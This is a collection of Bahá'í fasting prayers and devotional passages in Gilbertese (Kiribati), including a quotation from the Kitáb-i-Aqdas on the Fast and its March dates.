Irouna.\nTe Uea ae Atuau! Buokiia aika a tangiraki Iroum bwa a na teimatoa n Am Aro, n nakonako ni Kawaim, ma n nene n Am Waaki. Anganiia Am tangira bwa a na tangira tuukan bwain te rabwata, bwa a na ira ootan te Kairiiri ae Tabu. Boni Ngkoe te Korakora, te Tangira, te Maiu i bon Irouna, te Tituaraoi, te Nanoanga ao Moan te Mwaaka ao Moan te Atataiaomata.\nKo na neboaki, te Uea n aki toki ao te Tia Karikiia tautaeka, ao te Tia Katamaroai mwakuri. I bubutii ma te nanorinano Nakoim, i nanon Aram are Ko weteia iai kaain aonaaba nako nanon mimitongin Raoiroim, are Ko kairiia nako iai n Am tangira ma Am aakoi; karikai bwa temanna naba aroia ake a kaaki tangiran bwaai i Bukim, ao a tia n tei i nanon Kaaniam ma n aki kamwaeieiaki ni kangaanga nako ake a bwakariia i Bukim, ni kaantaningaa Am bwai n aakoi.\nI a tia n taua, au Uea, rarikin Am tituaraoi, ma n tinea mataniwiin kaon Am aakoi, ao karuoa ngkanne i aou, mai buakon nangin Am nanoanga bwa e na aki uringaki temanna ma bon ti Ngkoe, n te aro ae Nna konaa n rairaki nakon are bon kakukureian te botannaomata, mairouia ake a riki n teirake bwa taani kakiriwe, aika a tia n urua Am berita, ma n aki Kakoauako ma Am kanikina. Tai kaakai, au Uea, man boiararan Am kunnikai n Am Bong, ao tai tuukai man arokan boin Am Kaotioti ao man mimitongin ootan Matam, Ko bon mwaaka ni karaoa oin Nanom. Bon akea ae e konaa ni katei nakon Am baaire, ke ni katoka ae Ko a tia ni karaoia ni Mwaakam.\nNgkoe ae Atuan te Aakoi! Bon Am bwai te karabwaaki bwa Ko a tia ni kautai ma n anganai te atatai. Ko a bon tia n anganai matau n taratara ao Ko aakoai n taningau n ongo ao Ko a tia ni kairai nakon Ueam ao ni kairai nakon Kawaim. Ko a tia ni kaota nakoiu te aro ae e riai ao ni karinai n te Ake ni Kamaiu. Te Atua kaawakinai bwa Nna teimatoa ma n nene n aki ukaki nako. Karabaai man te kataaki ae korakora. Kaawakinai ao kamanoai i nanon Am mwioko ma Am berita. Bon Ngkoe te Mwaaka, bon Ngkoe te Noraaba, bon Ngkoe te Ongotaeka, bon Ngkoe Te Atua ae E aakoi. Katuka i aou te nano ae itiaki ae e na konaa ni kaotaaki n ootan Am tangira ao nuurakina i aou te iango are e na konaa n onika te aonaaba aei bwa te nne n aroka n rooti rinanon te kaantaninga n tamnei. Bon Ngkoe te Aakoi, te Nanoanga! Te Atua Ngkoe ae E kakannato are Atuan taian Aro ni kabane.\nTe Huqúqu'lláh bon te tua ae kakannato. Bon te bwai ae taabangaki iaoia aomata nako karekean te angabwai aei, kioina ngkai boni mwiokon te karaoiroi, te kaubwai, ao baika a raraoi ni kabane. Bon te tituaraoi are a na tiku ma ngaia takanoi ni kabane ni katoai aonaaban Ana aonaaba nako Te Atua, Te Tia Bwaibwai ni Bwaai-nako, Te Tituaraoi.\nKo na rangi ni karietaataaki ngkoe ae Uean te karikibwai ni kabane, are boni Ngkoe are a na bane bwaai ni kabane n Okiriko. Ma neweu n nanoaa ao ma neweu n tinaniku I kakoauaa raoi bwa Ko a bon tia ni Kaotiotiko ao ni kaota raoi Rabwatam, ni karuoi Am kanikina nako, ma ni katanoatai Am koaua nako. I kakoaua nakon akea riki bwa ti Ngkoe ibukin taubobongan Arom, ao nakon naba Itiakim iaon bwain ni kabane te aonaaba. I Ononiko n rietaatan mimitongin Am Aro ao Mwaakaroiroin Am taeka bwa ko na anga te kamatoa nakon ane e kan anga te bwai are ko a tia ni kabwarabwara nakoina inanon Am boki ao ni ira nanon are e na kataotiraa boiararan Am butimwaai. Ni koaua, Ngkoe boni moan te Mwaaka, te moa n te Akoi, te moa n te Kakabwarabure. te katoki n Tituaraoi.\nTe ota ao te mimitong, te kamauri ao te kamoamoa a na tikuriia Tabonibain Ana Waaki, rinanoia are e a tia ootan te nanomatoa n oota nako mai iai ao e a tia n toronibwai iai te koaua are e kangai mwaakan te rinerine e tiku iroun te Atua, te Mwaaka, te Aki-Eenaki, ao rinanoia e a tia marawan te akoi ni iarake, ao a tia ni buta nako boiararan Ana bwain akoi te Atua, are Ngaia Uean te botannaomata. Ti a Butia – ae Ngaia te Rietaata – bwa E na otangaia rinanon mwaakaia kaain Ana runga, E na kamanomanoia rinanon korakoran Ana tautaeka ao ni buokiia man Korakorana are e aki kokonaaki, are e toka iaon bwaai ni kabane ake a tia ni karikaki. Te mwaaka n uea bon Ana bwai te Atua, are Ngaia te Tia Karika karawa ao Uean te Abanuean Aara.\nE mwakoro n te Kitáb-i-Aqdas: \"Ti a tia ni motikia nakoimi bwa kam na bwaina te tataro ao te aki mamatam man moan koron te roro n ikawai; aio are e a baaireaki iroun te Atua, am Uea ao Ueaia am bakatibu… te tia mwananga, naake aoraki, a bikoukou ao naake a kamamma, a aki kabaeaki n te aki mamatam.. Tai bwaina te amwarake ao te moi man otin taai ni karokoa bungin taai, ao taratara bwa e raawa te kaibwabwaru n anaa mai iroum te raoiroi ae e a tia ni motikaki i nanon te Boki.\"\nTain te aki mamatam bon man 1 ke 2 Maati ni karokoa 19 ke 20 ni Maati.\nI onnoniiko, Ngkoe Atuau, ni mwaakan Kanikinaeam, ao man kaotiotin Raoiroim i buakoia aomata, n aki katinanikuai man mataroan te kaawa are Ko mena iai, ao n aki urui au kaantaninga ake I a tia ni kawenei i bukin kaotiotan Raoiroim i buakoia Am botannaomata. Ko bon noorai, Atuau, I taua Aram, te Kabanea n Tabu te Kabanea n Oota, te Kabanea ni Mwaaka, te Kabanea ni Korakora, te Kabanea n Rietaata, te Kabanea ni Mimitong, ao n tinea rabin te kamwarai are a bane n tineia kaain te aonaaba aei ao ake n te aonaaba ae e na roko.\nI onnoniiko, Ngkoe Atuau, n moan baan karewerewen Bwanaam, ao man rietaatan Am Taeka, ni katikai ni kaaniai riki nakon matan Am mataroa, ao n aki karikai n raroa nako man nuun Am nanoanga ao katantanin Am kakabwaia. Ko bon noorai, Atuau, I taua Aram, te Kabanea n Tabu te Kabanea n Oota, te Kabanea ni Mwaaka, te Kabanea ni Korakora, te Kabanea n Rietaata, te Kabanea ni Mimitong, ao n tinea rabin te kamwarai are a bane n tineia kaain te aonaaba aei ao ake n te aonaaba ae e na roko.\nI onnoniiko, Ngkoe Atuau, n ootan raneanean Am ari ao otamwaakan tauran Moamoam, are e oota man te kabanea n rietaata n oraitan, ao ni katikai ni boiararan Am kamwarai, katauai bwa N na mooi man te wain ae rineaki n Am taeka. Ko bon noorai, Atuau, I taua Aram, te Kabanea n Tabu te Kabanea n Oota, te Kabanea ni Mwaaka, te Kabanea ni Korakora, te Kabanea n Rietaata, te Kabanea ni Mimitong, ao n tinea rabin te kamwarai are a bane n tineia kaain te aonaaba aei ao ake n te aonaaba ae e na roko.\nI onnoniiko, Ngkoe ae Atuau, n Iram are e mwaingiing i Moam, n ai aron mwaingiingin Am kainikoroboki i aon iteranibaan nako Am Tabureti, ni kakianakoa te rengarenga are e raba nanona nako i aon abanuean Am karikibwai, ni kateirakeai ni beku n Am Waaki bwa N na aki kerikaaki ke n tuukaki man aia iango naake a tia n totokoa Am kanikina nako ao n rairaki nako mai Moam. Ko bon noorai, Atuau, I taua Aram, te Kabanea n Tabu te Kabanea n Oota, te Kabanea ni Mwaaka, te Kabanea ni Korakora, te Kabanea n Rietaata, te Kabanea ni Mimitong, ao n tinea rabin te kamwarai are a bane n tineia kaain te aonaaba aei ao ake n te aonaaba ae e na roko.\nI onnoniiko, Ngkoe ae Atuau, n Aram ae Ko a tia ni karaoia bwa Uean Aara, are mai iai a tia ni kimwareirei ni kabaneia ake i karawa ao i aon te aba, ni karikai bwa N na kona n taraa Itoin Ngainan Tamaroam, ao n anganai wainin Am taetae. Ko bon noorai, Atuau, I taua Aram, te Kabanea n Tabu te Kabanea n Oota, te Kabanea ni Mwaaka, te Kabanea ni Korakora, te Kabanea n Rietaata, te Kabanea ni Mimitong, ao n tinea rabin te kamwarai are a bane n tineia kaain te aonaaba aei ao ake n te aonaaba ae e na roko.\nI onnoniiko, Ngkoe ae Atuau, n Umwan Am kaintokanuea mai i aon te kabanean n rietaata taubukin maunga, ao katantanin Am Kaotioti ni kabanean rietaatan tabuki, ni mwannanoai ni buokai ni karaoa are Ko tangiria ni karaoaki ao ni kaotiotaki Am kaantaninga. Ko bon noorai, Atuau, I taua Aram, te Kabanea n Tabu te Kabanea n Oota, te Kabanea ni Mwaaka, te Kabanea ni Korakora, te Kabanea n Rietaata, te Kabanea ni Mimitong, ao n tinea rabin te kamwarai are a bane n tineia kaain te aonaaba aei ao ake n te aonaaba ae e na roko.\nI onnoniiko, Ngkoe ae Atuau, n Tamaroam are e ootanako i aon oraitanin te aki tootoki, te Tamaroa are i mwaain are E kaotaki n te tai naba anne abanuean te tamaroa e bobaraaki nako naano n taromauria, n neboneboia n tangitangin bwanaa, ni kataua bwa N na mate man bwaai ni kabane ake I bwaini ao ni maiu nakon bwaai ake Mairoum. Ko bon noorai, Atuau, I taua Aram, te Kabanea n Tabu te Kabanea n Oota, te Kabanea ni Mwaaka, te Kabanea ni Korakora, te Kabanea n Rietaata, te Kabanea ni Mimitong, ao n tinea rabin te kamwarai are a bane n tineia kaain te aonaaba aei ao ake n te aonaaba ae e na roko.\nI onnoniiko Ngkoe ae Atuau, ni Kaotiotan Aram, Moan Baan te Tangiraki, are Rinanona a bane nanoia naake E tangiriia ao a tia n rierake tamneia naake a maeka n te aonaaba, ni buokai n Uringko i buakoia Am karikibwai, ao ni Kamoamoako i buakoia Am aomata. Ko bon noorai, Atuau, I taua Aram, te Kabanea n Tabu, te Kabanea n Oota, te Kabane ni Mwaaka, te Kabanea ni Korakora, te Kabanea n Rietaata, te Kabanea ni Mimitong, ao n tinea rabin te kamwarai are a bane n tineia kaain te aonaaba aei ao ake n te aonaaba ae e na roko.\nI onnoniiko Ngkoe ae Atuau, ni mwakaikain Kain te Rote ni Karawa ao maningongoon kamwemwen Taetaem man abanuean Aram nako, ni buutai nako man bwaai ake Ko ribai, ao ni katikai ni kaaniai nakon te karinan are E a tia n ootanako iai Teuare Ngaia Bongin Rikiraken Am kanikina nako ake a tia n oota nako. Ko bon noorai, Atuau, I taua Aram, te Kabanea n Tabu, te Kabanea n Oota, te Kabanea ni Mwaaka, te Kabanea ni Korakora, te Kabanea n Rietaata, te Kabanea ni Mimitong, ao n tinea rabin te kamwarai are a bane n tineia kaain te aonaaba aei ao ake n te aonaaba ae e na roko.\nI onnoniiko Ngkoe ae Atuau, n te Man ni koroboki are, n te tai are e otinako man wiin motin Nanom, a tia ni koburake iai taian marawa, ao ni kare iai taian ang, ao ni kaotaki uaa, ao n teberake ni bwebwe kaai, ao ni mauna iai bwain ma rongorongo ni ikawai, ao n taeki nako aeka nako n rabunanimata, ao naake a bane nanoia Iroum a kawaekoaiia nakon ootan matan aia Uea, te Aakea Tokina, ni kaoti nakoiu baike a wene n raba i nanon kaubwain Am atatai ao ni kainaki i nanon te tabo are a karauaki ni kaawakinaki n Niniwanam. Ko bon noorai, Atuau, I taua Aram, te Kabanea n Tabu, te Kabanea n Oota, te Kabanea ni Mwaaka, te Kabanea ni Korakora, te Kabanea n Rietaata, te Kabanea ni Mimitong, ao n tinea rabin te kamwarai are a bane n tineia kaain te aonaaba aei ao ake n te aonaaba ae e na roko.\nI onnoniiko Ngkoe ae Atuau, n ain Am tangira are e kamwaawa te matu man mataia naake Ko rineia ao ake Ko tangiriia, ao man aia ururing ao aia nebonebo nakoim n auan te karangaina, ni warekai i buakoia naake a tia ni karekei bwaai ake ko a tia ni karuoi rikaaki i nanon Am Boki ao ni Kaotiko rinanon motin Nanom. Ko bon noorai, Atuau, I taua Aram, te Kabanea n Tabu, te Kabanea n Oota, te Kabanea ni Mwaaka, te Kabanea ni Korakora, te Kabanea n Rietaata, te Kabanea ni Mimitong, ao n tinea rabin te kamwarai are a bane n tineia kaain te aonaaba aei ao ake n te aonaaba ae e na roko.\nI onnoniiko Ngkoe ae Atuau, n ootan Moam are e kairoroia ake a kaan ma Ngkoe ni uarokoia ma waekoan Am tua, ao ake a bane nanoia Iroum ni kaaitarai aia kabaang Am kairiribai i nanon Kawaim, ni koroi nakoiu n Am Kainikoroboki ae moan baan te rietaata bwaai ake Ko a tia ni koroi nakoia ake Ko onimakiniia ao ake ko rineia. Ko bon noorai, Atuau, I taua Aram, te Kabanea n Tabu, te Kabanea n Oota, te Kabanea ni Mwaaka, te Kabanea ni Korakora, te Kabanea n Rietaata, te Kabanea ni Mimitong, ao n tinea rabin te kamwarai are a bane n tineia kaain te aonaaba aei ao ake n te aonaaba ae e na roko.\nI onnoniiko Ngkoe ae Atuau, n Aram are Ko a tia n ongo n aia wewete naake a Tangiriko ao rawawataia ni kariaria naake a Kainnanoiko, ao tangiia naake a tangira rokoia Iroum, ao ngirangiraia naake a bane nanoia Iroum, ao rinanona are Ko a tia ni kakoroi bukin baike a tangirii ao ni katokai aia kaantaninga Iroum, ao Ko a tia ni anganiia nanoia are a tangiria, rinanon Raoiroim ao Am mwamwannano, ao n Aram rinanon marawan Am kabwarabure a bwaro nako Moam, ao nangin Am tituaraoi ae bwaka ni karau i aoia Am toro, ni koroi i aoia n tatabemaniia ni kabane ake a tia n rairaki Nakoim, ao n taua bukin te Aki Mamatam are e kamatoaaki Iroum, te kabomwi are e katauaki i bukiia ake a aki taetae ma ti man Am kariaia, ao ake a tia ni katikui i nanon Kawaim aia bwai ake irouia i bukin Tangiram.\nI onnoniiko Ngkoe ae Atuau ao au Uea, i Iroum ao n Am kanikina nako, ao n itiakin Am kanikina nako, ao raneanean ootan Itoin Ngainan Tamaroam, ao Mwaangam, ni kamaunai aia bure naake a tia n taua ni kamatoa Am tua, ao n tia ni karaoa nanon are Ko a tia ni baaireia i bukiia i nanon Am Boki. Ko bon noorai, Atuau, I taua Aram, te Kabanea n Tabu, te Kabanea n Oota, te Kabanea ni Mwaaka, te Kabanea ni Korakora, te Kabanea n Rietaata, te Kabanea ni Mimitong, ao n tinea rabin te kamwarai are a bane n tineia kaain te aonaaba aei ao ake n te aonaaba ae e na roko.\nKo na neboaki, te Uea ae Atuau. I bubutii Nakoim ma te nanorinano n te Kaotioti aei are e bitaki iai te ro nakon te oota are e kateaki iai te Tembora ma n ataaki iai Koroboki aika a Tabu ma n taorababaa iai Taekam, bwa e na reke irou ao irouia aika a raoiroi, te aro ae ti na konaa n rierakea iai karawa nakon Mimitongim are akea tiana ao are e na kamaunai ara nanokokoraki are e tauiira man namakinan rinra ni mwaneaban te ikotaki.\nBon ngai temanna, au Uea, are e a tia n taua roon Am aakoi, ma ni kanim baina nakon Am nanoanga ma Am tangira. Ko na anganai ma raou aika a tangira raoiroin te maiu aei ao are e na roko. Anganiia Am bwaintangira ae e raba are Ko kataua i bukiia aika a moa riki mai buakoia Am karikibwai.\nBon aikai, au Uea, boong ake Ko tuangiia iai Am toro bwa a na taua iai te Aki Mamatam. E na karaoiroaki are e taua raoi te aki mamatam ma te koaua, ma n taubaang man bwaai nako i Bukim. Buokai ao buokiia, au Uea, bwa a na ongo Iroum ma n taua Am tua, bwa Ko bon mwaaka ni karaoa oin Nanom.\nAkea Te Atua bwa ti Ngkoe, te Ataibwai, ao te Wanawana. E na neboaki Te Atua, te Uea n aonaaba ni kabanea.\nAikai boong, Atuau, are Ko a tia ni katauia Am toro bwa a na taua bukin te akimamatam. Are iai are Ko katamaroa iai moan abokan Am Boki n Tua ake a karuoaki i bukiia Am karikibwai, ao ni kaota tamaroan Umwan Am kaetieti nako i mataia ni kabane ake n Am karawa ao ni kabane aika i aon te aonaaba. Ko a tia ni kataua auan nako boong aikai ma te anua ae e okoro, are e aki kona ni warekaki irouia ni kabane ma ti Iroum, are Rabakauna e rabwati karikibwai ni kabane. Ko a bon tia, naba, ni kataua mwakoron te anua aei n aron taekan Taburetin Am kaetieti ma Am koroboki are Ko a tia iai, n aron anne, n reke tibwaia iai n tatabemaniia aomatan nako ma utuun nako te aonaaba.\nI bukiia taan tangira aika a babane nanoia Ko a bon tia, n taekin Am kaetieti, ni kaawakinna i bukiia, ni katoaa te karangaina, ma mwangkon Uringam, O Ngkoe te Tia Tautaekaniia taan tautaeka! Bon naakai ake a tia ni manging ni wainin Niniwanam aika a bati ngaia are a kaaki aia tabo ni wene i bukin nanoia ni kan karaoa Neboam ao ni kaotiotii Anuam nako, ao ni mwaawa man matuuia ni korakoran nanoia ni kan waaki nakon Kaaniam ao ni uataboa Am kakabwaia. N taai nako a bon tia ni kabaraakii mataia nakon Rikiraken Bongin Am tangira n aakoi, ao ni katokai moaia nako Taberan Koburaken ranin Am Nanoanga are e tau n Am kakabwaia ni karawa ao te raoiroi.\nE na kamoamoaaki Aram, Atuau! Bon aio te aua are Ko a tia iai ni kauki iai rokan mataroan nako Am kakabwaia nako moaia Am karikibwai nako, ao ni kauki mataroan Am nanoanga aika a tamaroa nakoia ni kabane ake a maeka n Am aonaaba. I bubuti Nakoim, irouia ake a tia ni kabwaroi raraia i nanon Kawaim, are, ma nanoia Nakoim, a kamwawaiia man kabaebae nako mairouia ake Am karikibwai, ao are a tia n rangi ni matenako n karewen Am kakaunga bwa bwain rabwataia nako a taekina Neboam ao n atoatonga Ururingam, ao n aki taua mairoura bwaai ake Ko a tia ni kataua n tain te Kaotioti aei - te Kaotioti are iai te korakora are e a tia ni kariki taian kai bwa a na atonga are e a tia ni karaoia te Kai are Ura n te tai are e a tia n nako ni kaotioti iai Moote, are E taetae ma Ngkoe, n te Kaotioti are a tia ni katauia ni kabane ni katoai atama aika a mronron nako bwa a na manga atonga riki Neboam, n aroia atiibu ake a Kamimitongko n Ana bong Mwaometa, are Raraom.\nBon naakai, Atuau, ake Ko a tia ma te tamaroa ni karikiia n itamwaomwao ao n itoman ma Teuare boni Ngaia te Tia Kaotiko. Angin nako Nanom a tia ni maenikun n taorababa nako ni karokoa Ko na manga ikotiia i aan Nuum, ao ni karikiia n rin n aban nako Am botaki. Ao ngkai Ko a tia ni karikiia n tiku ni maeka i aan nuun umwan Am nanoanga, Ko na buokiia bwa a na karekea are e bon tau i bukiia ma te karinan ae rine. Tai kakorakaiia, Atuau, bwa a na warekaki i buakoia naake, e ngae ngke a kukurei ni kaan ma Ngkoe, ma a tia n tauaki man kinaakin Moam, ao e ngae ngke a bobo ma Ngkoe, ma a bon kamwawaaki man Kaaniam.\nNaakai bon Am taan beku, Atuau, ake a tia n rin ma Ngkoe n te Karabuuti ae Moan te Kakannato aei, are a tia n taua ni kamatoa i nanon oona are Ko a tia n tuangiia n Taburetin Am kaetieti ao Bokin nako Am babaaire. Ngaia are, karuoa ngkanne, nako aoia are e na karaua raoi ni kaitiakiia man baike Ko aki kataui, bwa a aonga ni baabanennano Iroum, ao ni kona ni kamwawaiia man bwaai nako ma ti Ngkoe.\nKabwaka ni karau ngkanne i aora, Atuau, are e bootau ni koaua ma Am raoiroi ao ni bootau ma Am kakabwaia. Karikiira, ngkanne, Atuau, bwa ti na maiu n Ururingko ao ni mate i bukin Am tangira, ao kakarekea nakoira te bwaintangira are Kaaniam n am aonaaba nako aika i mwiin ngkai—aonaaba ake a aki kona n ataaki ma ti Iroum. Boni Ngkoe ara Uea ao te Uea n aonaaba nako, ao Atuaia ni kabane ake i karawa ao aika i aon te aonaaba\nKo bon noora, Atuau, are a tia ni bwaka iai ake a tangiraki Iroum n Am bong nako. Mimitongim are I kakoaua iai! Bwanaaia ni bwaebwaeti naake a tangiraki Iroum e a bon tia ni mwemwe rake nakon Ueam. Tabeman ake a irarang irouia naake a nanoro i nanon Baim, ao a bon tuukiia i bon irouia n roko ni kaan Nakoim ao man karekean botakin Mimitongim. Ake tabeman ake a kona ni waaki Nakoim, ma a tauaki man nooran Moam. Iai riki ake tabeman ake a katauaki, n ingaingaia ni kan taraa Moam, n rin n aban nako Am botaki, ma a bon kataui taian rabunanimata are bon katautauaiia iai Am karikibwai ao kaairua ake a reke mairouia taan kamangao i buakoia Am aomata bwa a na roko i marenaia ma Ngkoe.\nBon aio te aua, Au Uea, are ko a tia ni karikia bwa e na raka i aon aua nako, ao n tia ni kaitomanna bwa ngaia are e rineaki i buakoia Am karikibwai. I bubuti Nakoim, Ngkoe Atuau, i bon Iroum ao irouia, ni kataua waakin te ririki aei bwa e na karietaiia ake Ko tangiriia. Ko na baaireia, ngkanne, i nanon te ririki aei ni kataua n, Itoin Ngainan Mimitongim, ao ni kaoota, ni Mwaakam ni uea, n te aonaaba ae bwanin.\nKarika Am Waaki bwa e na totokanikai, au Uea, ao kamangoriia Am kairiribai. Koroia, ngkanne, i bukira are e raoiroi n te maiu aei ao te maiu ae e na roko. Boni Ngkoe te Koaua, are Ko atai bwaai aika a raba. Bon akea riki Te Atua bwa ti Ngkoe, te Tia Kakabwarai buure, te Kabanea ni Kakabwaia.\nTe nebonebo nakoim O te Uea ae Atuau. Ti a tia n ira nanon te Aki Mamatam ni kaeineti ma am kaetieti ao n urua ngkai inanon Am tangira ao Kukureim ae raoiroi. Butimwaea ma te nanonaki O Atuau, taian mwakuri ake ti a tia ni karaoi inanon Kawaim ni bwaninia bon ti ibukin Tamaroam, ao moara aika ineti nakon Am Waaki, n inaomata man bwaai nako ma ti Ngkoe. Kataua ngkanne Am kabwarabure nako aora, nakoaoia ara bakatibu ao nakoaoia ni kabane ake a tia ni Kakoauako ao inanon am Kanikina nako aika korakora inanon te Kaotioti aio ae te kabanea ni korakora ma ni mimitong. Ko bon korakora ni karaoa are Ko rineia. Bon Ngkoe ni koaua Te Kabanea n rietata, te Korakora, Te aki kona n tauaki Eena.\nTe mimitong Nakoim, O te Uea Atuau! Aikai bong are Ko a tia ni kataua bwa ni kabane aomata a na katabua te aki mamatam, bwa rinanona a na kona ni kaitiaki tamneia ao ni kakeaa mai irouia taian kabaebae nakoia aomata ma ti Ngkoe, ao bwa man nanoia e na kona n rierake te baere e na botau ma nnen Karineam ao ni katauaki nakon kaintekatekan kaotiotin Am katiteuana. Kariaia, O au Uea, bwa te karemo aio e na riki n ai aron te karanga are e anga te ran ni kamaiu ao ni kona ni kaotinakoa te anua ni maiu ae e tamaroa are e Ko a tia ni kaonrakea iai. Rinanona ao Ko na kaitiaka nanoia Am toro are a tia buakakan te aonnaba ni konaaki n totokoia man rairakiia nakon Aram ae te kabanea ni mimitong, ao man tiku n aki kamwaingaki ni kaberoroia ao kakiriweia naake a tia ni kaitarai Am kanikina aika a rangin otanako ake irian kaotin Am Tia Uarongorongo are Ko a tia ni kanoaia ni Ueam, Mwaakam, Karineam ni Uea ao Mimitongim. Aikai tooro ake, n te tai are e roko te wewete irouia, a kawaekoaia ni kaineta Am nanoanga ao a aki totokoaki mai Iroum ni bibitakin ao bwaai aika a riki n te aonnaba aio ke man tiatianakin aia konabwai n aomata.\nNgai teuare, O Atuau, are I kakoaua nakon Am katiteuana, are I kakoaua ae ti temanna Ngkoe, are I bobaraaki ma te kamangori i matan kaotiotin Rinem ni Uea, ao are I kina ma moamoau ae e bobaraki tamaroan otanakon tauran Mimitongim ae e rianako. I a tia ni Kakoauako ngkai Ko a tia ni kariaiakai bwa Nna Kinako, Ngkoe are Ko a tia ni Kaotiko nako mataia aomata rinanon mwaakan Ueam ao Korakoram. I rairaki Nakoina, ni kamwawaai n te aro ae e tabwanin man bwaai nako, ao n nimtaki ni kamatoaki nakon kaon Am bwaintangira ao bwaai ake Ko tangiri. I a tia n rabwatii Ana koaua, ao koauan tuua ao reirei ni kabane aika a rangin tamaroa ake a tia ni karuoaki Nakoina. I a tia n aki mamatam ibukin Tangiram ao ibukin uaiakinan Am moti, ao n urua au aki mamatam ma Kamoamoakim iaon neweu ao ni kaboraoia ma are Nanom. Tai karawawataai, O a Uea, bwa Nna warekaki ibuakoia naake a tia n aki mamatam n aoan te ngaina, ao ake n te tairiki a tia ni bobaraaki i Matam, ao ake a tia ni kakeaa Am koaua, n aki kakoauai Am kanikinaa, ni kaokoroia ma Am kakoaua, ao ni kaitarai Am taetaenikawai.\nKo na kauka, O au Uea, matau ao mataia ni kabane ake a Ukoukoriko, bwa ti aonga ni Kinako n oin Matam. Aio Am kaetieti are ti anganaki inanon te Boki are Ko karuoa Nakon Teuare Ko a tia n rineia iaan Am babaire, are Ko a tia ni katebenakoa ni kaineti ma Nanom are Ko tangiria iaoia nako Am kairiribai, are Irouna Ko a tia ni kukurei ni kaonrakea ma Ueam, ao Irouna are Ko a tia ni karaka tangirana ao ni mwiokoia ma Am Rongorongo nakoia Am aomata. Ai ngaia are, Ko na kamoamoaki Ngkoe, O Atuau, ngkai Ko a tia, rinanon Am tituaraoi, ni kariaia bwa ti na kina Teuarei ao n atai bwaai ni kabane ake a tia ni karuoaki Nakoina, ao n anganira karineara ni karekea rokora irarikin Teuare Ngaia are Ko beritaia inanon Am Boki ao inanon Am Tabureti.\nKo norai ngkanne O Atuau, ma moau ae e rairaki Nakoim, n taua ni kamatoa kaon Am tituaraoi ni karawa ao Am akoi, ao n tinea kamwarain Am nanoanga ae e tatangira ao Am tituaraoi aika a wawanako. Tai urua, I bubutiko, au kantaninga ibukin karekean rokou nakon are Ko a tia ni kataua ibukiia Am toro ake a tia n rairaki nakon mwakoron Am tabo ao kamanomanon Kaaniam. I kaotia ma te kabwarabure, O Atuau, bwa te bwai are e wai mai irou e bon aki botau ma Ueam ao e memeere iaan Kakannatom ni Uea. Ma e ngae n anne ao I ononiiko n Aram are Rinanona Ko a tia ni Kaotiko, inanon mimitongin aran nakoam aika a rianako tamaroaia, nakoia karikibwai ni kabane, inanon te Kaotioti aio ike Ko a tia, rinanon Aram ae e ota nako, ni kaotiota Tamaroam, n anganai bwa Nna moi ni wainin Am nanoanga ao n te ninima ae e itiaki are Nanom, ake a tia ni wawanako man angatain Am moti, bwa I aonga ni kona ni katuruturua au taratara nako Aom, bwa e aonga te aonnaba ao bwaai ni kabane ake a karikaki inanona n taraaki irou bwa ai aron te ngaina ae e kai toki are Ko a tia n kataua aki botauna Nakoim ibukin karikakina.\nIaon riki aio ao I bubuti Nakoim, O Atuau, ni kabwaka karaun, man karawan Nanom ao nangin Am nanoanga, te baere e na kaitiakira man kammairan boin ara bure. O Ngkoe are Ko Araniko bwa Atuan te Nanoanga! Ngkoe, ni koaua, Moan te Mwaaka, te Kabanea ni Mimitong, te Tituaraoi.\nTai karenakoa, O au Uea, teuare e a tia n rairaki Nakoim, ke ni karawawata teuare e a tia ni katikaki ni kaaniaki Nakoim bwa e na kamwawaki nako ni kararoaaki man Am tabo. Tai kabwara ana kantaninga te tia Matennanoiko are e a tia ma te ingainga n takini nako baina ni ukoukoura Am tituaraoi ao Nanom, ao tai kaakea mai Iroum Am toro ake a kakaonimaki man tamaroan Am nanoanga ae e tatangira ao Am tangira n akoi. Ngkoe te tia Kabwarai bure ao Moan te Tituaraoi, O au Uea! Ko mwaaka ni karaoa are Ko tangiria. Bwaai ni kabane ma ti Ngkoe bon akea korakoraia i matan kaotiotin Korakoram, a bon bua i matan taian kakoaua ibukin Kaubwaim, bon akea warekakia ngkana a kabotauaki ma kaotiotan Ueam ae e roti tabo nako, ao akea korakoraia ni kabane ngkana a aitara ma taian kanikinaa ao taribin Korakoram. Ia riki te tabo ni kamanomano Irarikim, O au Uea, are Nna kona ni biri nako iai, ao e nga te tabo ni katantan are I kona ni kawaekoai nako iai? Akea te tia kakawakin bwa ti Ngkoe, akea te tabo ae ti kona ni biri nako iai bwa ti Ngkoe, akea te tabo ni kamaiu ae ti na kona n ukoria bwa ti Ngkoe. Karikai bwa Nna katonga O au Uea, karewerewen tamnein Uringakim ao Kamoamoakim. I berita ni Korakoram! Te aomata are e katomamiia karewerewena e na bon kakeaa mai irouna kabaebaeana ni kabane nakon te aonnaba ao bwaai ni kabane ake inanona, ao e na kaitara moana Nakoim, ni kaitiakaki man uringakin temanna bwa ti Ngkoe.\nKaota ngkanne nanou, O Atuau, n Uringakim ae e kakukurei, bwa I aonga ni kamimitonga Aram. Tai warekai ibuakoia naake a wareka Am taeka ao a aki roko n te kunea Am bwaintangira ae e karabaaki are, n aron ae e motikaki mai Iroum, e mena inanona, ao are e kamaiua tamneia Am karikibwai ao nanoia Am toro. Karikai, O au Uea, bwa Nna warekaki ibuakoia naake a tia n rangi ni kamwaingaki ni karewen boiararaia ake a tia n ukukaki inanon Am bong n te aro are a tia n anga maiuia Ibukim ao ni kawaekoaia nakon aia tabo ni mate ibukin ingaingan nanoia ni kan kabanea aia tai n taratara Tamaroam ao ibukin korakoran nanoia ni kan karekea rokoia Irarikim. Ao ngkana iai temanna ae e na taekina aio nakoia iaon kawaia, ''Ia te tabo ae ko na nako iai?'' a na kangai, ''Nakon te Atua, te Tia Bwaibwai ni bwai ni kabane, te Tia Ibuobuoki n tain te Kanganga, te Taubobonga i bon Irouna!''\nTaian bure ake a tia ni karaoaki irouia naake a tia n tannako mai Iroum ao n tia ni kaota te kamoamoa Nakoim a tuai man reke angaia n tukiia naakai man Tangirakim, ao man kainetan moaia Nakoim ao man rairaki ni kaitara Am nanoanga. Aikai naake a tia ni kakabwaiaki iroun te Runga are i Eta, ake a kamimitongaki irouia taan maeka ni Kaawa ake a Bubura ake akea tokiia, ao i akuun riki anne naake i aon ramwaia e a tia te Kainikoroboki are moan te karietataki ni korobokiia ni kangai: ''Naakai! Aomatan Bahá. Rinanoia e a tia ni kaotaaki otan tauran te kairiiri.\" Aio are e a tia ni baireaki, man Am tuatua ao Am moti, inanon te Tabureti are e mena iai Am kaetieti ae e aki kona ni kaitaraaki.\nKatanoata, ngkanne, O Atuau, rianakoia ao rianakoia naba naake inanon aia tai ni maiu ke imwin mateia a tia n otabwaniniia. Anganiia tibwangaia n te baere Ko a tia ni baireia 